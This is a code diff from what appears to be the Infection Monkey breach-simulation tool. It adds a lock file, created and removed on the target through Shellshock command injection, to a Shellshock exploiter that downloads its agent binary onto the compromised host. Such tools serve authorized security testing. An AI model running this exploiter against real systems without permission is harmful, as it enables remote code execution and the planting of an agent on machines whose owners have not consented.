diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 208af2f98..1880e6c07 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -108,6 +108,9 @@ class ShellShockExploiter(HostExploiter):
                 LOG.info("Can't find suitable monkey executable for host %r", self.host)
                 return False
 
+            if not self._try_lock(exploit, url, header):
+                continue
+
             http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
 
             if not http_path:
@@ -124,6 +127,8 @@ class ShellShockExploiter(HostExploiter):
             http_thread.join(DOWNLOAD_TIMEOUT)
             http_thread.stop()
 
+            self._exit_lock(exploit, url, header)
+
             if (http_thread.downloads != 1) or (
                         'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
                 LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
@@ -182,6 +187,31 @@ class ShellShockExploiter(HostExploiter):
                 LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
         return False,
 
+    @classmethod
+    def _try_lock(cls, exploit, url, header):
+        """
+        Checks if another monkey is running shellshock exploit
+        :return: True if no monkey is running shellshock exploit
+        """
+        file_path = '/tmp/monkey_lock'
+        if cls.check_remote_file_exists(url, header, exploit, file_path):
+            LOG.info("Another monkey is running shellshock exploit")
+            return False
+        cmdline = 'touch /tmp/monkey_lock'
+        run_path = exploit + cmdline
+        cls.attack_page(url, header, run_path)
+        return True
+
+    @classmethod
+    def _exit_lock(cls, exploit, url, header):
+        """
+        Remove lock file from target machine
+        """
+        file_path = '/tmp/monkey_lock'
+        cmdline = 'rm %s' % file_path
+        run_path = exploit + cmdline
+        cls.attack_page(url, header, run_path)
+
     @staticmethod
     def attack_page(url, header, attack):
         result = ""